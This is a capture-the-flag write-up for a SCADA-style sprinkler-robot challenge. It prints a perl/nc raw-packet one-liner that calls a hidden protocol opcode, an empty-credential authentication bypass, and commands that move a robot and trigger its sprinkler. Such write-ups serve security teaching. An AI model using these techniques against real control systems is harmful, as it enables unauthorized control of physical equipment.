Sprinklers
May 18, 2026
Sprinklers
Overview
Sprinklers was a SCADA-style challenge around a controller binary for Monsatan’s sprinkler robots. The challenge had two solved objectives:
- recover a hidden protocol flag
- use an authenticated command path to move a robot into the office and trigger the sprinkler flag
Concrete flags are redacted in this public version.
Challenge Context
The provided controller binary was downloaded from:
https://dl.nsec/sprinklerbotctl
Running the client showed the documented commands:
list_robots
list_handles
get_pos <robotID>
move <robotID> <roomId> <x> <y>
start_sprinkler <robotID>
stop_sprinkler <robotID>
status <robotID>
Unauthenticated enumeration worked immediately:
./downloads/sprinklerbotctl list_robots
./downloads/sprinklerbotctl list_handles
The more useful commands, such as get_pos, move, and status, claimed to require authentication.
Hidden Opcode
The CLI exposed only a small set of commands, so I inspected the protocol directly. The binary used a simple TCP protocol over IPv6 with a TSEP magic value and numeric opcodes.
The public commands mapped to:
| Opcode | Command |
|---|---|
1001 | list_robots |
1003 | list_handles |
The missing 1002 opcode was suspicious. Sending a raw packet directly to the service returned the first flag:
perl -e 'print pack("a4 a32 V V V", "TSEP", "", 1002, 0, 0)' \
| nc -6 "9000:d37e:c40b:8954:216:3eff:fe22:7a3" 21374
The returned flag is redacted here:
[redacted sprinklers flag 1]
Authentication Bypass
The controller accepted --user and --pass values and used them to sign authenticated requests. Non-empty junk credentials failed, but empty strings were accepted:
./downloads/sprinklerbotctl --user "" --pass "" get_pos e045J865CBCW
The practical bypass was therefore:
--user "" --pass ""
Finding A Usable Robot
I enumerated robot positions and statuses with the empty-credential bypass:
for id in $(./downloads/sprinklerbotctl list_robots); do
printf '%s\n' "== $id =="
./downloads/sprinklerbotctl --user "" --pass "" get_pos "$id"
./downloads/sprinklerbotctl --user "" --pass "" status "$id"
printf '\n'
done
Several robots were in maintenance, offline, or had no useful resources. One healthy robot, J3yA5McUOO2K, was available.
Triggering The Office Sprinkler
The second objective was to move a healthy robot into the office and start the sprinkler:
./downloads/sprinklerbotctl --user "" --pass "" move J3yA5McUOO2K office 0 0
./downloads/sprinklerbotctl --user "" --pass "" start_sprinkler J3yA5McUOO2K
./downloads/sprinklerbotctl --user "" --pass "" status J3yA5McUOO2K
The status output showed emergency lockdown, an active sprinkler, and the second flag. The concrete flag is redacted:
FATAL ERROR: [redacted sprinklers flag 2]
Takeaways
The intended path combined binary/protocol inspection with a simple authentication edge case. The hidden opcode exposed the first flag, while the empty-credential signing behavior made the robot control workflow reachable.